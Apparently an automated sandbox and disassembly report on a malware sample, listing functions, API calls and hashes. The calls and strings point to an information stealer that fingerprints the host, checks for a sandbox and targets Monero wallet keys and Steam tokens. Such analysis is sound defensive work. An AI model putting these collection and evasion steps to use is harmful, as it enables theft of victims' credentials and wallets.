Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 3c26c723d4e8017958578e0151ce8f4406ce7c1f38df466b79abab3c4e35b871
Instruction ID: b7dfedfdb9c18aa44a9e1487d404720c397195bf008d590fde532153348b26fa
Opcode Fuzzy Hash: 3c26c723d4e8017958578e0151ce8f4406ce7c1f38df466b79abab3c4e35b871
Instruction Fuzzy Hash: BF817775B102089FCB19EF68D9D1AEDB7B5FF94300F508569E8499F351DB30AA06CB82

Function 003378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337910
RtlAllocateHeap.NTDLL(00000000), ref: 00337917
GetComputerNameA.KERNEL32(?,00000104), ref: 0033792F

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 6ae7ed210da8c5b9820d40d9ffe3af2203132e5997e517094067ca69c096a645
Instruction ID: 1b653c051b00136d40ecd615383c4d9003f8febc2ada86bfeeb1920f273223cb
Opcode Fuzzy Hash: 6ae7ed210da8c5b9820d40d9ffe3af2203132e5997e517094067ca69c096a645
Instruction Fuzzy Hash: BD0181B1A04208EBD710DF98DD85BAABBBCFB04B21F10421AFA45E7680C37459048BA2

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 00339470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00339484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 003394A5
CloseHandle.KERNEL32(00000000), ref: 003394AF

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: b692271837ff845c70f7705bdcb50fadaa313cc44e8ec986e0623e52c44f4ad5
Instruction ID: ec2e080ebfd36bda68d09c01bd2da5df7a6c7509cfff48880003ed6d51d8d340
Opcode Fuzzy Hash: b692271837ff845c70f7705bdcb50fadaa313cc44e8ec986e0623e52c44f4ad5
Instruction Fuzzy Hash: 1FF03A7490020CEBDB15DFA8DC8AFE97778EB08300F004498FA09AB290D6B06A85DB91

Function 00321110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0032112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00321132
ExitProcess.KERNEL32 ref: 00321143

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 4715500cb45fcb7df496b6f406cce6f0d9b6782f6b47322d7d228defc08c3c7f
Instruction ID: 92f66c899362117020d0a9e352d920e60c60e2c14511c3800e3aa25fe71cd75f
Opcode Fuzzy Hash: 4715500cb45fcb7df496b6f406cce6f0d9b6782f6b47322d7d228defc08c3c7f
Instruction Fuzzy Hash: 7CE0E670945348FBE7106BA4AD0AB097678EB14B01F104054F7097B1D0D6F52645AA99

Function 00331A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00337500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00337542
Part of subcall function 00337500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033757F
Part of subcall function 00337500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337603
Part of subcall function 00337500: RtlAllocateHeap.NTDLL(00000000), ref: 0033760A

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 00337690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003376A4
Part of subcall function 00337690: RtlAllocateHeap.NTDLL(00000000), ref: 003376AB

Part of subcall function 003377C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0033DBC0,000000FF,?,00331C99,00000000,?,00F2DE28,00000000,?), ref: 003377F2
Part of subcall function 003377C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0033DBC0,000000FF,?,00331C99,00000000,?,00F2DE28,00000000,?), ref: 003377F9

Part of subcall function 00337850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003211B7), ref: 00337880
Part of subcall function 00337850: RtlAllocateHeap.NTDLL(00000000), ref: 00337887
Part of subcall function 00337850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0033789F

Part of subcall function 003378E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337910
Part of subcall function 003378E0: RtlAllocateHeap.NTDLL(00000000), ref: 00337917
Part of subcall function 003378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0033792F

Part of subcall function 00337980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00340E00,00000000,?), ref: 003379B0
Part of subcall function 00337980: RtlAllocateHeap.NTDLL(00000000), ref: 003379B7
Part of subcall function 00337980: GetLocalTime.KERNEL32(?,?,?,?,?,00340E00,00000000,?), ref: 003379C4
Part of subcall function 00337980: wsprintfA.USER32 ref: 003379F3

Part of subcall function 00337A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00F2E260,00000000,?,00340E10,00000000,?,00000000,00000000), ref: 00337A63
Part of subcall function 00337A30: RtlAllocateHeap.NTDLL(00000000), ref: 00337A6A
Part of subcall function 00337A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00F2E260,00000000,?,00340E10,00000000,?,00000000,00000000,?), ref: 00337A7D

Part of subcall function 00337B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00F2E260,00000000,?,00340E10,00000000,?,00000000,00000000), ref: 00337B35

Part of subcall function 00337B90: GetKeyboardLayoutList.USER32(00000000,00000000,003405AF), ref: 00337BE1
Part of subcall function 00337B90: LocalAlloc.KERNEL32(00000040,?), ref: 00337BF9
Part of subcall function 00337B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00337C0D
Part of subcall function 00337B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00337C62
Part of subcall function 00337B90: LocalFree.KERNEL32(00000000), ref: 00337D22

Part of subcall function 00337D80: GetSystemPowerStatus.KERNEL32(?), ref: 00337DAD

GetCurrentProcessId.KERNEL32(00000000,?,00F2DD68,00000000,?,00340E24,00000000,?,00000000,00000000,?,00F2E0E0,00000000,?,00340E20,00000000), ref: 0033207E

Part of subcall function 00339470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00339484
Part of subcall function 00339470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 003394A5
Part of subcall function 00339470: CloseHandle.KERNEL32(00000000), ref: 003394AF

Part of subcall function 00337E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337E37
Part of subcall function 00337E00: RtlAllocateHeap.NTDLL(00000000), ref: 00337E3E
Part of subcall function 00337E00: RegOpenKeyExA.KERNEL32(80000002,00F1B818,00000000,00020119,?), ref: 00337E5E
Part of subcall function 00337E00: RegQueryValueExA.KERNEL32(?,00F2DEC8,00000000,00000000,000000FF,000000FF), ref: 00337E7F
Part of subcall function 00337E00: RegCloseKey.ADVAPI32(?), ref: 00337E92

Part of subcall function 00337F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00337FC9
Part of subcall function 00337F60: GetLastError.KERNEL32 ref: 00337FD8

Part of subcall function 00337ED0: GetSystemInfo.KERNEL32(00340E2C), ref: 00337F00
Part of subcall function 00337ED0: wsprintfA.USER32 ref: 00337F16

Part of subcall function 00338100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F2E200,00000000,?,00340E2C,00000000,?,00000000), ref: 00338130
Part of subcall function 00338100: RtlAllocateHeap.NTDLL(00000000), ref: 00338137
Part of subcall function 00338100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00338158
Part of subcall function 00338100: wsprintfA.USER32 ref: 003381AC

Part of subcall function 003387C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00340E28,00000000,?), ref: 0033882F
Part of subcall function 003387C0: RtlAllocateHeap.NTDLL(00000000), ref: 00338836
Part of subcall function 003387C0: wsprintfA.USER32 ref: 00338850

Part of subcall function 00338320: RegOpenKeyExA.KERNEL32(00000000,00F2B230,00000000,00020019,00000000,003405B6), ref: 003383A4

Part of subcall function 00338320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00338426
Part of subcall function 00338320: wsprintfA.USER32 ref: 00338459
Part of subcall function 00338320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0033847B
Part of subcall function 00338320: RegCloseKey.ADVAPI32(00000000), ref: 0033848C
Part of subcall function 00338320: RegCloseKey.ADVAPI32(00000000), ref: 00338499

Part of subcall function 00338680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003405B7), ref: 003386CA
Part of subcall function 00338680: Process32First.KERNEL32(?,00000128), ref: 003386DE
Part of subcall function 00338680: Process32Next.KERNEL32(?,00000128), ref: 003386F3
Part of subcall function 00338680: CloseHandle.KERNEL32(?), ref: 00338761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0033265B

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 60318822-0
Opcode ID: b78ad2b3cdc96eec395109dcd490a77d6bdbd2a51384dcc6bee695b3a859b14b
Instruction ID: 5ffd51fba38d3d8a1c9c1b9a30923b9bf69a44ddc14f49628474234051c1476b
Opcode Fuzzy Hash: b78ad2b3cdc96eec395109dcd490a77d6bdbd2a51384dcc6bee695b3a859b14b
Instruction Fuzzy Hash: 93727C72C10518AADB1BFB90DCD2EEEB77CAF14300F5142A9B1567A051EF302B49DE66

Function 00326D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f206f7c187eec12570332f9f702583fe8938ad265ec6fcfd55ad845200b29a4e
Instruction ID: 6a32be53157e262d822b983ade1954daeed5f3f29465c5b3424bd3c042960cac
Opcode Fuzzy Hash: f206f7c187eec12570332f9f702583fe8938ad265ec6fcfd55ad845200b29a4e
Instruction Fuzzy Hash: A76127B4900228EFCF15DF94EA86BEEB7B4BF44304F108598E4196B280D775AE94DF91

Function 00335100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A820: lstrlen.KERNEL32(00324F05,?,?,00324F05,00340DDE), ref: 0033A82B
Part of subcall function 0033A820: lstrcpy.KERNEL32(00340DDE,00000000), ref: 0033A885

lstrlen.KERNEL32(00000000,00000000,00340ACA), ref: 0033512A

Strings

steam_tokens.txt, xrefs: 0033513F

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
